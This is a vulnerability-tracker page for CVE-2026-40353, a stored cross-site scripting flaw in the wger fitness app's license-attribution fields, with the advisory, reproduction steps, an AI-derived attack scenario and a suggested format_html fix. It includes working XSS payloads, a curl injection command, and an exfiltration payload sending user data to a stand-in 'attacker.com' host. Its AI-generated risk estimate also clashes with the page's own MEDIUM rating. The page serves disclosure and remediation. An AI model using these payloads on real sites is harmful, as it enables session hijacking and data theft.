Skip to main content

Python CVE-2026-40353

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-16 https://github.com/wger-project/wger GHSA-6f54-qjvm-wwq3
5.1
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Create authenticated account
  2. Delivery
    Navigate to ingredient creation form
  3. Exploit
    Submit malicious license_author value with JavaScript payload
  4. Install
    Payload stored in database
  5. C2
    Victim views ingredient page
  6. Execute
    Browser parses HTML with embedded script
  7. Impact
    JavaScript executes in victim's browser context
  8. Step 8
    Attacker steals session cookie or performs unauthorized API calls

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

An attacker must be an authenticated non-temporary wger user (registration and email verification may or may not be required depending on instance configuration, but account creation is the sole authentication barrier). The attacker must have access to the ingredient creation form at /en/nutrition/ingredient/add/, which is protected by Django's login_required decorator but accessible to any authenticated account without privilege escalation. The form accepts the license_author field (TextField, max_length=3500) with no input validation, sanitization, or allowlist enforcement. The ingredient must be successfully created and saved to the database (requires valid energy/macronutrient data in other fields, but no validation of the license_author field itself). The payload executes without any user interaction on the victim's side-merely viewing the ingredient's public detail page at /en/nutrition/ingredient/[id]/ triggers execution. No CSRF token bypass or privilege escalation is required. The vulnerability is not limited to specific Django versions or configurations; it affects any deployment of wger with user registration enabled and the ingredient creation feature exposed. The |safe filter in the template is the enabling factor that bypasses Django's default auto-escaping, meaning the vulnerability cannot execute without both the unescaped property AND the unsafe template rendering.

Impact

This vulnerability represents genuine high risk despite the absence of a CVSS vector in the submission. CVSS 3.1 score of approximately 7.6 aligns with the risk profile: attack vector is network (AV:N, publicly viewable ingredient pages), attack complexity is low (AC:L, no special conditions), privileges required is low (PR:L, any authenticated non-temporary user can create ingredients), and user interaction is not required (UI:N, payload executes automatically when page is viewed). The stored nature of the XSS (persists in database) elevates risk beyond reflected XSS, as it affects all subsequent visitors indefinitely until remediated. The vulnerability is confirmed reproducible per the detailed PoC provided, with working payloads (<img src=x onerror="alert(document.cookie)">) verified to execute in the browser. No KEV (CISA Known Exploited Vulnerabilities) listing or public exploit code outside the advisory is available, but the PoC documentation in the GitHub advisory serves as functional exploit proof. Real-world exploitation risk is amplified by the application's multi-user fitness tracking nature (users store sensitive health data, workout plans, personal metrics), making session hijacking and account takeover particularly damaging. The low privilege barrier (any authenticated account, not just admins) and lack of any input validation creates a worm-like propagation vector: a malicious actor could create XSS payloads that auto-inject additional malicious ingredients. The alternative API path (ExerciseImage endpoint for 'trustworthy' users >3 weeks old) suggests historical attempts to rate-limit attacks but incomplete protection across the data model.

Exploit ScenarioDerived

An authenticated wger user registers or logs in to a wger instance with default configuration (user registration enabled). The attacker navigates to /en/nutrition/ingredient/add/ and creates a new ingredient with a malicious license_author field containing <img src=x onerror="alert(document.cookie)"> or a more sophisticated payload such as <svg onload="fetch('/api/v2/user/').then(r=>r.json()).then(d=>{new Image().src='http://attacker.com/log?data='+btoa(JSON.stringify(d))})" />. When any unauthenticated user or other authenticated user visits the ingredient's public detail page, the JavaScript payload executes in their browser, silently exfiltrating their session cookie or performing actions on their behalf. If the victim is an admin user, the attacker can escalate to full application compromise by stealing admin credentials or modifying other users' data.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 16, 2026

Stored cross-site scripting (XSS) in wger fitness application allows authenticated users to inject malicious JavaScript via unescaped license attribution fields in ingredient and image models, which executes when any visitor views the affected page. The vulnerability persists in the database and can be exploited to steal session cookies, perform unauthorized actions as other users, or conduct phishing attacks. Affected versions allow low-privilege authenticated users (any non-temporary account) to create ingredients with JavaScript payloads in the license_author field, which bypasses all input sanitization and is rendered with Django's |safe filter, disabling auto-escaping.

RemediationAI

The primary remediation is to replace the vulnerable attribution_link property in wger/utils/models.py with Django's format_html() function to properly escape user-controlled fields while preserving safe HTML anchor tags for license URLs. Specifically, replace the string interpolation approach with format_html() calls for each URL field and escape() calls for text fields (license_author, license_title), then use mark_safe() to return the final safe string. Alternatively, remove the |safe filter from templates (wger/nutrition/templates/ingredient/view.html lines 171 and 226) and ensure escaping is applied in the property itself. A complete fix requires both: (1) modifying the property to use format_html()/escape() instead of f-string interpolation, and (2) removing or conditionalizing the |safe filter in templates. A shorter-term compensating control is to apply Django's escape_html() or bleach library to the license_author form field in wger/nutrition/forms.py at field definition, explicitly stripping HTML tags and encoding special characters on form submission; however, this does not address the root cause in the model property and does not protect the API endpoint. The advised fix from the advisory is to use format_html() with proper escaping for all user-controlled fields. See the GitHub advisory GHSA-6f54-qjvm-wwq3 for the exact patched code and version bump information.

Affected Packages

pypi wger no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in wger's AbstractLicenseModel.attribution_link property in wger/utils/models.py, which constructs HTML strings by directly concatenating user-controlled fields (license_author, license_title, license_object_url, license_author_url, license_derivative_source_url) without calling Django's escape() or format_html() functions. The property returns a raw HTML string that is rendered in templates using Django's |safe filter (in wger/nutrition/templates/ingredient/view.html at lines 171 and 226), which explicitly disables Django's automatic context-aware escaping. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation): the application fails to neutralize user-supplied data before rendering it in an HTML context. This affects six models inheriting from AbstractLicenseModel (Exercise, ExerciseImage, ExerciseVideo, Translation, Ingredient, Image), though only Ingredient and Image models currently render the vulnerable attribution_link property with |safe. The writable entry point is the IngredientCreateView and related forms in wger/nutrition/forms.py, which include the license_author TextField (max_length=3500) without any sanitization or validation beyond length checks.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
Apr 17, 2026 - 22:22 NVD
5.1 (MEDIUM)
CVE Published
Apr 16, 2026 - 01:37 nvd
MEDIUM 5.1

DescriptionGitHub Advisory

Stored XSS via Unescaped License Attribution Fields

Summary

The AbstractLicenseModel.attribution_link property in wger/utils/models.py constructs HTML strings by directly interpolating user-controlled fields (license_author, license_title, license_object_url, license_author_url, license_derivative_source_url) without any escaping. The resulting HTML is rendered in the ingredient view template using Django's |safe filter, which disables auto-escaping. An authenticated user can create an ingredient with a malicious license_author value containing JavaScript, which executes when any user (including unauthenticated visitors) views the ingredient page.

Severity

High (CVSS 3.1: ~7.6)

  • Low-privilege attacker (any authenticated non-temporary user)
  • Stored XSS - persists in database
  • Triggers on a public page (no authentication needed to view)
  • Can steal session cookies, perform actions as other users, redirect to phishing

CWE

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected Components

Vulnerable Property

File: wger/utils/models.py:88-110

python
@property
def attribution_link(self):
    out = ''
    if self.license_object_url:
        out += f'<a href="{self.license_object_url}">{self.license_title}</a>'
    else:
        out += self.license_title
# NO ESCAPING
    out += ' by '
    if self.license_author_url:
        out += f'<a href="{self.license_author_url}">{self.license_author}</a>'
    else:
        out += self.license_author
# NO ESCAPING
    out += f' is licensed under <a href="{self.license.url}">{self.license.short_name}</a>'
    if self.license_derivative_source_url:
        out += (
            f'/ A derivative work from <a href="{self.license_derivative_source_url}">the '
            f'original work</a>'
        )
    return out

Unsafe Template Rendering

File: wger/nutrition/templates/ingredient/view.html

  • Line 171: {{ ingredient.attribution_link|safe }}
  • Line 226: {{ image.attribution_link|safe }}

Writable Entry Point

File: wger/nutrition/views/ingredient.py:154-175

python
class IngredientCreateView(WgerFormMixin, CreateView):
    model = Ingredient
    form_class = IngredientForm
# includes license_author field

URL: login_required(ingredient.IngredientCreateView.as_view()) - any authenticated non-temporary user.

Form fields (from wger/nutrition/forms.py:295-313): includes license_author (TextField, max_length=3500) - no sanitization.

Models Affected

6 models inherit from AbstractLicenseModel:

  • Exercise, ExerciseImage, ExerciseVideo, Translation (exercises module)
  • Ingredient, Image (nutrition module)

Only the Ingredient and nutrition Image models' attribution links are currently rendered with |safe in templates.

Root Cause

  1. attribution_link constructs raw HTML by string interpolation of user-controlled fields without calling django.utils.html.escape() or django.utils.html.format_html()
  2. The template renders the result with |safe, bypassing Django's auto-escaping
  3. The license_author field in IngredientForm has no input sanitization
  4. The set_author() method only sets a default value if the field is empty - it does not sanitize user-provided values

Reproduction Steps (Verified)

Prerequisites

  • A wger instance with user registration enabled (default)
  • An authenticated user account (non-temporary)

Steps

  1. Register/login to a wger instance
  2. Create a malicious ingredient via the web form at /en/nutrition/ingredient/add/:
  • Set Name to any valid name (e.g., "XSS Form Verified")
  • Set Energy to 125, Protein to 10, Carbohydrates to 10, Fat to 5 (energy must approximately match macros)
  • Set Author(s) (license_author) to:
     <img src=x onerror="alert(document.cookie)">
  • Submit the form - the form validates and saves successfully with no sanitization
  1. View the ingredient page (public URL, no auth needed):
  • Navigate to the newly created ingredient's detail page
  • The XSS payload executes in the browser

Verified PoC Output

The rendered HTML in the ingredient detail page (line 171 of ingredient/view.html) contains:

html
<small>
     by <img src=x onerror=alert(1)> is licensed under <a href="https://creativecommons.org/licenses/by-sa/3.0/deed.en">CC-BY-SA 3</a>
</small>

The <img> tag with onerror handler is injected directly into the page DOM and executes JavaScript when the browser attempts to load the non-existent image.

Alternative API Path (ExerciseImage)

For users who are "trustworthy" (account >3 weeks old + verified email):

bash
# Upload exercise image with XSS in license_author
curl -X POST https://wger.example.com/api/v2/exerciseimage/ \
  -H "Authorization: Token <token>" \
  -F "exercise=1" \
  -F "image=@photo.jpg" \
  -F 'license_author=<img src=x onerror="alert(document.cookie)">' \
  -F "license=2"

Note: ExerciseImage's attribution_link is not currently rendered with |safe in exercise templates, but the data is stored with XSS payloads and would execute if any template renders it with |safe in the future. The API serializer also returns the unescaped attribution_link data, which could cause XSS in API consumers (mobile apps, SPAs).

Impact

  • Session hijacking: Steal admin session cookies to gain full control
  • Account takeover: Modify other users' passwords or email addresses
  • Data theft: Access other users' workout plans, nutrition data, and personal measurements
  • Worm-like propagation: Malicious ingredient could inject XSS that creates more malicious ingredients
  • Phishing: Redirect users to fake login pages

Suggested Fix

Replace the attribution_link property with properly escaped HTML using Django's format_html():

python
from django.utils.html import format_html, escape

@property
def attribution_link(self):
    parts = []

    if self.license_object_url:
        parts.append(format_html('<a href="{}">{}</a>', self.license_object_url, self.license_title))
    else:
        parts.append(escape(self.license_title))

    parts.append(' by ')

    if self.license_author_url:
        parts.append(format_html('<a href="{}">{}</a>', self.license_author_url, self.license_author))
    else:
        parts.append(escape(self.license_author))

    parts.append(format_html(
        ' is licensed under <a href="{}">{}</a>',
        self.license.url, self.license.short_name
    ))

    if self.license_derivative_source_url:
        parts.append(format_html(
            '/ A derivative work from <a href="{}">the original work</a>',
            self.license_derivative_source_url
        ))

    return mark_safe(''.join(str(p) for p in parts))

Alternatively, remove the |safe filter from the templates and escape in the property, though this would break the anchor tags.

References

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)GitHub Advisory

pkg:pip/wger

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy